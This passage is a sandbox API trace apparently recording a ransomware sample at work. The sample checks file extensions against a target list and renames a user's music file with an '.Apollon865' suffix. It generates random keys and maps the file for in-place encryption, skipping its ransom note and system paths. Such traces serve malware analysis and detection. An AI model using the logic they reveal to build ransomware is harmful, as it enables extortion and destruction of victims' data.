	[0087.796] lstrlenW (lpString="dtsx") returned 4
	[0087.796] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1
	[0087.796] lstrlenW (lpString="dxl") returned 3
	[0087.796] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1
	[0087.796] lstrlenW (lpString="eco") returned 3
	[0087.796] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1
	[0087.796] lstrlenW (lpString="ecx") returned 3
	[0087.796] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1
	[0087.796] lstrlenW (lpString="edb") returned 3
	[0087.797] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1
	[0087.797] lstrlenW (lpString="epim") returned 4
	[0087.797] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1
	[0087.797] lstrlenW (lpString="fcd") returned 3
	[0087.797] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1
	[0087.797] lstrlenW (lpString="fdb") returned 3
	[0087.797] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1
	[0087.797] lstrlenW (lpString="fic") returned 3
	[0087.797] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1
	[0087.797] lstrlenW (lpString="flexolibrary") returned 12
	[0087.797] lstrlenW (lpString="fm5") returned 3
	[0087.797] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1
	[0087.797] lstrlenW (lpString="fmp") returned 3
	[0087.797] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1
	[0087.797] lstrlenW (lpString="fmp12") returned 5
	[0087.797] lstrcmpiW (lpString1="2.mp3", lpString2="fmp12") returned -1
	[0087.797] lstrlenW (lpString="fmpsl") returned 5
	[0087.797] lstrcmpiW (lpString1="2.mp3", lpString2="fmpsl") returned -1
	[0087.797] lstrlenW (lpString="fol") returned 3
	[0087.797] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1
	[0087.797] lstrlenW (lpString="fp3") returned 3
	[0087.797] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1
	[0087.797] lstrlenW (lpString="fp4") returned 3
	[0087.797] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1
	[0087.797] lstrlenW (lpString="fp5") returned 3
	[0087.797] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1
	[0087.797] lstrlenW (lpString="fp7") returned 3
	[0087.797] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1
	[0087.797] lstrlenW (lpString="fpt") returned 3
	[0087.797] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1
	[0087.798] lstrlenW (lpString="frm") returned 3
	[0087.798] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1
	[0087.798] lstrlenW (lpString="gdb") returned 3
	[0087.798] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0087.798] lstrlenW (lpString="gdb") returned 3
	[0087.798] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0087.798] lstrlenW (lpString="grdb") returned 4
	[0087.798] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1
	[0087.798] lstrlenW (lpString="gwi") returned 3
	[0087.798] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1
	[0087.798] lstrlenW (lpString="hdb") returned 3
	[0087.798] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1
	[0087.798] lstrlenW (lpString="his") returned 3
	[0087.798] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1
	[0087.798] lstrlenW (lpString="ib") returned 2
	[0087.798] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1
	[0087.798] lstrlenW (lpString="idb") returned 3
	[0087.798] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1
	[0087.798] lstrlenW (lpString="ihx") returned 3
	[0087.798] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1
	[0087.798] lstrlenW (lpString="itdb") returned 4
	[0087.798] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1
	[0087.798] lstrlenW (lpString="itw") returned 3
	[0087.798] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1
	[0087.798] lstrlenW (lpString="jet") returned 3
	[0087.798] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1
	[0087.798] lstrlenW (lpString="jtx") returned 3
	[0087.798] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1
	[0087.798] lstrlenW (lpString="kdb") returned 3
	[0087.798] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1
	[0087.798] lstrlenW (lpString="kexi") returned 4
	[0087.798] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1
	[0087.798] lstrlenW (lpString="kexic") returned 5
	[0087.798] lstrcmpiW (lpString1="2.mp3", lpString2="kexic") returned -1
	[0087.798] lstrlenW (lpString="kexis") returned 5
	[0087.799] lstrcmpiW (lpString1="2.mp3", lpString2="kexis") returned -1
	[0087.799] lstrlenW (lpString="lgc") returned 3
	[0087.799] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1
	[0087.799] lstrlenW (lpString="lwx") returned 3
	[0087.799] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1
	[0087.799] lstrlenW (lpString="maf") returned 3
	[0087.799] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1
	[0087.799] lstrlenW (lpString="maq") returned 3
	[0087.799] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1
	[0087.799] lstrlenW (lpString="mar") returned 3
	[0087.799] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1
	[0087.799] lstrlenW (lpString="marshal") returned 7
	[0087.799] lstrcmpiW (lpString1="gO2.mp3", lpString2="marshal") returned -1
	[0087.799] lstrlenW (lpString="mas") returned 3
	[0087.799] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1
	[0087.799] lstrlenW (lpString="mav") returned 3
	[0087.799] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1
	[0087.799] lstrlenW (lpString="maw") returned 3
	[0087.799] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1
	[0087.799] lstrlenW (lpString="mdbhtml") returned 7
	[0087.799] lstrcmpiW (lpString1="gO2.mp3", lpString2="mdbhtml") returned -1
	[0087.799] lstrlenW (lpString="mdn") returned 3
	[0087.799] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1
	[0087.799] lstrlenW (lpString="mdt") returned 3
	[0087.799] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1
	[0087.799] lstrlenW (lpString="mfd") returned 3
	[0087.799] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1
	[0087.799] lstrlenW (lpString="mpd") returned 3
	[0087.799] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1
	[0087.799] lstrlenW (lpString="mrg") returned 3
	[0087.799] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1
	[0087.799] lstrlenW (lpString="mud") returned 3
	[0087.799] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1
	[0087.799] lstrlenW (lpString="mwb") returned 3
	[0087.799] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1
	[0087.799] lstrlenW (lpString="myd") returned 3
	[0087.800] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1
	[0087.800] lstrlenW (lpString="ndf") returned 3
	[0087.800] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1
	[0087.800] lstrlenW (lpString="nnt") returned 3
	[0087.800] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1
	[0087.800] lstrlenW (lpString="nrmlib") returned 6
	[0087.800] lstrcmpiW (lpString1="O2.mp3", lpString2="nrmlib") returned 1
	[0087.800] lstrlenW (lpString="ns2") returned 3
	[0087.800] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1
	[0087.800] lstrlenW (lpString="ns3") returned 3
	[0087.800] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1
	[0087.800] lstrlenW (lpString="ns4") returned 3
	[0087.800] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1
	[0087.800] lstrlenW (lpString="nsf") returned 3
	[0087.800] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1
	[0087.800] lstrlenW (lpString="nv") returned 2
	[0087.800] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1
	[0087.800] lstrlenW (lpString="nv2") returned 3
	[0087.800] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1
	[0087.800] lstrlenW (lpString="nwdb") returned 4
	[0087.800] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1
	[0087.800] lstrlenW (lpString="nyf") returned 3
	[0087.800] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1
	[0087.800] lstrlenW (lpString="odb") returned 3
	[0087.800] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0087.800] lstrlenW (lpString="odb") returned 3
	[0087.800] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0087.800] lstrlenW (lpString="oqy") returned 3
	[0087.800] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1
	[0087.800] lstrlenW (lpString="ora") returned 3
	[0087.800] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1
	[0087.800] lstrlenW (lpString="orx") returned 3
	[0087.800] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1
	[0087.800] lstrlenW (lpString="owc") returned 3
	[0087.800] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1
	[0087.800] lstrlenW (lpString="p96") returned 3
	[0087.801] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1
	[0087.801] lstrlenW (lpString="p97") returned 3
	[0087.801] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1
	[0087.801] lstrlenW (lpString="pan") returned 3
	[0087.801] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1
	[0087.801] lstrlenW (lpString="pdb") returned 3
	[0087.801] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1
	[0087.801] lstrlenW (lpString="pdm") returned 3
	[0087.801] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1
	[0087.801] lstrlenW (lpString="pnz") returned 3
	[0087.801] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1
	[0087.801] lstrlenW (lpString="qry") returned 3
	[0087.801] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1
	[0087.801] lstrlenW (lpString="qvd") returned 3
	[0087.801] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1
	[0087.801] lstrlenW (lpString="rbf") returned 3
	[0087.801] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1
	[0087.801] lstrlenW (lpString="rctd") returned 4
	[0087.801] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1
	[0087.801] lstrlenW (lpString="rod") returned 3
	[0087.801] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1
	[0087.801] lstrlenW (lpString="rodx") returned 4
	[0087.801] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1
	[0087.801] lstrlenW (lpString="rpd") returned 3
	[0087.801] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1
	[0087.801] lstrlenW (lpString="rsd") returned 3
	[0087.801] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1
	[0087.801] lstrlenW (lpString="sas7bdat") returned 8
	[0087.801] lstrcmpiW (lpString1="hgO2.mp3", lpString2="sas7bdat") returned -1
	[0087.801] lstrlenW (lpString="sbf") returned 3
	[0087.801] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1
	[0087.801] lstrlenW (lpString="scx") returned 3
	[0087.801] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1
	[0087.801] lstrlenW (lpString="sdb") returned 3
	[0087.801] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1
	[0087.801] lstrlenW (lpString="sdc") returned 3
	[0087.802] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1
	[0087.802] lstrlenW (lpString="sdf") returned 3
	[0087.802] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1
	[0087.802] lstrlenW (lpString="sis") returned 3
	[0087.802] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1
	[0087.802] lstrlenW (lpString="spq") returned 3
	[0087.802] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1
	[0087.802] lstrlenW (lpString="te") returned 2
	[0087.802] lstrcmpiW (lpString1="p3", lpString2="te") returned -1
	[0087.802] lstrlenW (lpString="teacher") returned 7
	[0087.802] lstrcmpiW (lpString1="gO2.mp3", lpString2="teacher") returned -1
	[0087.802] lstrlenW (lpString="tmd") returned 3
	[0087.802] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1
	[0087.802] lstrlenW (lpString="tps") returned 3
	[0087.802] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1
	[0087.802] lstrlenW (lpString="trc") returned 3
	[0087.802] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0087.802] lstrlenW (lpString="trc") returned 3
	[0087.802] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0087.802] lstrlenW (lpString="trm") returned 3
	[0087.802] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1
	[0087.802] lstrlenW (lpString="udb") returned 3
	[0087.802] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1
	[0087.802] lstrlenW (lpString="udl") returned 3
	[0087.802] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1
	[0087.802] lstrlenW (lpString="usr") returned 3
	[0087.802] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1
	[0087.802] lstrlenW (lpString="v12") returned 3
	[0087.802] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1
	[0087.802] lstrlenW (lpString="vis") returned 3
	[0087.802] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1
	[0087.802] lstrlenW (lpString="vpd") returned 3
	[0087.802] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1
	[0087.802] lstrlenW (lpString="vvv") returned 3
	[0087.802] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1
	[0087.802] lstrlenW (lpString="wdb") returned 3
	[0087.803] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1
	[0087.803] lstrlenW (lpString="wmdb") returned 4
	[0087.803] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1
	[0087.803] lstrlenW (lpString="wrk") returned 3
	[0087.803] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1
	[0087.803] lstrlenW (lpString="xdb") returned 3
	[0087.803] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1
	[0087.803] lstrlenW (lpString="xld") returned 3
	[0087.803] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1
	[0087.803] lstrlenW (lpString="xmlff") returned 5
	[0087.803] lstrcmpiW (lpString1="2.mp3", lpString2="xmlff") returned -1
	[0087.803] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\kb0FhgO2.mp3.Apollon865") returned 69
	[0087.803] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\kb0FhgO2.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kb0fhgo2.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\kb0FhgO2.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kb0fhgo2.mp3.apollon865"), dwFlags=0x1) returned 1
	[0087.805] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\kb0FhgO2.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kb0fhgo2.mp3.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.805] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=30702) returned 1
	[0087.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0087.805] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0087.806] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.806] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0087.806] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7af0, lpName=0x0) returned 0x15c
	[0087.806] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7af0) returned 0x100000
	[0087.808] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0087.809] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.809] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0087.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0087.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0087.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.809] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.810] CloseHandle (hObject=0x15c) returned 1
	[0087.810] CloseHandle (hObject=0x9c) returned 1
	[0087.812] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.812] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0087.812] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.813] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2a1bb90, ftCreationTime.dwHighDateTime=0x1d4ca82, ftLastAccessTime.dwLowDateTime=0x30376570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30376570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="klDrs 2", cAlternateFileName="KLDRS2~1")) returned 1
	[0087.813] lstrcmpiW (lpString1="klDrs 2", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.813] lstrcmpiW (lpString1="klDrs 2", lpString2="Apollon865.txt.exe") returned 1
	[0087.813] lstrcmpiW (lpString1="klDrs 2", lpString2=".") returned 1
	[0087.813] lstrcmpiW (lpString1="klDrs 2", lpString2="..") returned 1
	[0087.813] lstrcmpiW (lpString1="klDrs 2", lpString2="windows") returned -1
	[0087.813] lstrcmpiW (lpString1="klDrs 2", lpString2="bootmgr") returned 1
	[0087.813] lstrcmpiW (lpString1="klDrs 2", lpString2="temp") returned -1
	[0087.813] lstrcmpiW (lpString1="klDrs 2", lpString2="pagefile.sys") returned -1
	[0087.813] lstrcmpiW (lpString1="klDrs 2", lpString2="boot") returned 1
	[0087.813] lstrcmpiW (lpString1="klDrs 2", lpString2="ids.txt") returned 1
	[0087.813] lstrcmpiW (lpString1="klDrs 2", lpString2="ntuser.dat") returned -1
	[0087.813] lstrcmpiW (lpString1="klDrs 2", lpString2="perflogs") returned -1
	[0087.813] lstrcmpiW (lpString1="klDrs 2", lpString2="MSBuild") returned -1
	[0087.814] lstrlenW (lpString="klDrs 2") returned 7
	[0087.814] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\kb0FhgO2.mp3") returned 58
	[0087.814] lstrcpyW (in: lpString1=0x119e664, lpString2="klDrs 2" | out: lpString1="klDrs 2") returned="klDrs 2"
	[0087.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0087.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a920
	[0087.814] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7990 | out: ListHead=0x5b75f0, ListEntry=0x5b7990) returned 0x5b7b10
	[0087.814] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc6b3c50, ftCreationTime.dwHighDateTime=0x1d4cc3b, ftLastAccessTime.dwLowDateTime=0x325147e0, ftLastAccessTime.dwHighDateTime=0x1d4d06c, ftLastWriteTime.dwLowDateTime=0x325147e0, ftLastWriteTime.dwHighDateTime=0x1d4d06c, nFileSizeHigh=0x0, nFileSizeLow=0x5e7b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QgK8ClfNnVG6cWJP-a.wav", cAlternateFileName="QGK8CL~1.WAV")) returned 1
	[0087.814] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.814] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="Apollon865.txt.exe") returned 1
	[0087.814] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2=".") returned 1
	[0087.814] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="..") returned 1
	[0087.814] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="windows") returned -1
	[0087.814] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="bootmgr") returned 1
	[0087.814] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="temp") returned -1
	[0087.814] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="pagefile.sys") returned 1
	[0087.814] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="boot") returned 1
	[0087.814] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="ids.txt") returned 1
	[0087.814] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="ntuser.dat") returned 1
	[0087.814] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="perflogs") returned 1
	[0087.814] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2="MSBuild") returned 1
	[0087.814] lstrlenW (lpString="QgK8ClfNnVG6cWJP-a.wav") returned 22
	[0087.814] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2") returned 53
	[0087.814] lstrcpyW (in: lpString1=0x119e664, lpString2="QgK8ClfNnVG6cWJP-a.wav" | out: lpString1="QgK8ClfNnVG6cWJP-a.wav") returned="QgK8ClfNnVG6cWJP-a.wav"
	[0087.814] lstrlenW (lpString="QgK8ClfNnVG6cWJP-a.wav") returned 22
	[0087.814] lstrlenW (lpString="Apollon865") returned 10
	[0087.814] lstrcmpiW (lpString1="cWJP-a.wav", lpString2="Apollon865") returned 1
	[0087.814] lstrlenW (lpString=".dll") returned 4
	[0087.815] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2=".dll") returned 1
	[0087.815] lstrlenW (lpString=".lnk") returned 4
	[0087.815] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2=".lnk") returned 1
	[0087.815] lstrlenW (lpString=".ini") returned 4
	[0087.815] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2=".ini") returned 1
	[0087.815] lstrlenW (lpString=".sys") returned 4
	[0087.815] lstrcmpiW (lpString1="QgK8ClfNnVG6cWJP-a.wav", lpString2=".sys") returned 1
	[0087.815] lstrlenW (lpString="QgK8ClfNnVG6cWJP-a.wav") returned 22
	[0087.815] lstrlenW (lpString="bak") returned 3
	[0087.815] lstrcmpiW (lpString1="wav", lpString2="bak") returned 1
	[0087.815] lstrlenW (lpString="ba_") returned 3
	[0087.815] lstrcmpiW (lpString1="wav", lpString2="ba_") returned 1
	[0087.815] lstrlenW (lpString="dbb") returned 3
	[0087.815] lstrcmpiW (lpString1="wav", lpString2="dbb") returned 1
	[0087.815] lstrlenW (lpString="vmdk") returned 4
	[0087.815] lstrcmpiW (lpString1=".wav", lpString2="vmdk") returned -1
	[0087.815] lstrlenW (lpString="rar") returned 3
	[0087.815] lstrcmpiW (lpString1="wav", lpString2="rar") returned 1
	[0087.815] lstrlenW (lpString="zip") returned 3
	[0087.815] lstrcmpiW (lpString1="wav", lpString2="zip") returned -1
	[0087.815] lstrlenW (lpString="tgz") returned 3
	[0087.815] lstrcmpiW (lpString1="wav", lpString2="tgz") returned 1
	[0087.815] lstrlenW (lpString="vbox") returned 4
	[0087.815] lstrcmpiW (lpString1=".wav", lpString2="vbox") returned -1
	[0087.815] lstrlenW (lpString="vdi") returned 3
	[0087.815] lstrcmpiW (lpString1="wav", lpString2="vdi") returned 1
	[0087.815] lstrlenW (lpString="vhd") returned 3
	[0087.815] lstrcmpiW (lpString1="wav", lpString2="vhd") returned 1
	[0087.815] lstrlenW (lpString="vhdx") returned 4
	[0087.815] lstrcmpiW (lpString1=".wav", lpString2="vhdx") returned -1
	[0087.815] lstrlenW (lpString="avhd") returned 4
	[0087.815] lstrcmpiW (lpString1=".wav", lpString2="avhd") returned -1
	[0087.815] lstrlenW (lpString="db") returned 2
	[0087.816] lstrcmpiW (lpString1="av", lpString2="db") returned -1
	[0087.816] lstrlenW (lpString="db2") returned 3
	[0087.816] lstrcmpiW (lpString1="wav", lpString2="db2") returned 1
	[0087.816] lstrlenW (lpString="db3") returned 3
	[0087.816] lstrcmpiW (lpString1="wav", lpString2="db3") returned 1
	[0087.816] lstrlenW (lpString="dbf") returned 3
	[0087.816] lstrcmpiW (lpString1="wav", lpString2="dbf") returned 1
	[0087.816] lstrlenW (lpString="mdf") returned 3
	[0087.816] lstrcmpiW (lpString1="wav", lpString2="mdf") returned 1
	[0087.816] lstrlenW (lpString="mdb") returned 3
	[0087.816] lstrcmpiW (lpString1="wav", lpString2="mdb") returned 1
	[0087.816] lstrlenW (lpString="sql") returned 3
	[0087.816] lstrcmpiW (lpString1="wav", lpString2="sql") returned 1
	[0087.816] lstrlenW (lpString="sqlite") returned 6
	[0087.816] lstrcmpiW (lpString1="-a.wav", lpString2="sqlite") returned -1
	[0087.816] lstrlenW (lpString="sqlite3") returned 7
	[0087.816] lstrcmpiW (lpString1="P-a.wav", lpString2="sqlite3") returned -1
	[0087.816] lstrlenW (lpString="sqlitedb") returned 8
	[0087.816] lstrcmpiW (lpString1="JP-a.wav", lpString2="sqlitedb") returned -1
	[0087.816] lstrlenW (lpString="xml") returned 3
	[0087.816] lstrcmpiW (lpString1="wav", lpString2="xml") returned -1
	[0087.816] lstrlenW (lpString="$er") returned 3
	[0087.816] lstrcmpiW (lpString1="wav", lpString2="$er") returned 1
	[0087.816] lstrlenW (lpString="4dd") returned 3
	[0087.816] lstrcmpiW (lpString1="wav", lpString2="4dd") returned 1
	[0087.816] lstrlenW (lpString="4dl") returned 3
	[0087.816] lstrcmpiW (lpString1="wav", lpString2="4dl") returned 1
	[0087.816] lstrlenW (lpString="^^^") returned 3
	[0087.817] lstrcmpiW (lpString1="wav", lpString2="^^^") returned 1
	[0087.817] lstrlenW (lpString="abs") returned 3
	[0087.817] lstrcmpiW (lpString1="wav", lpString2="abs") returned 1
	[0087.817] lstrlenW (lpString="abx") returned 3
	[0087.817] lstrcmpiW (lpString1="wav", lpString2="abx") returned 1
	[0087.817] lstrlenW (lpString="accdb") returned 5
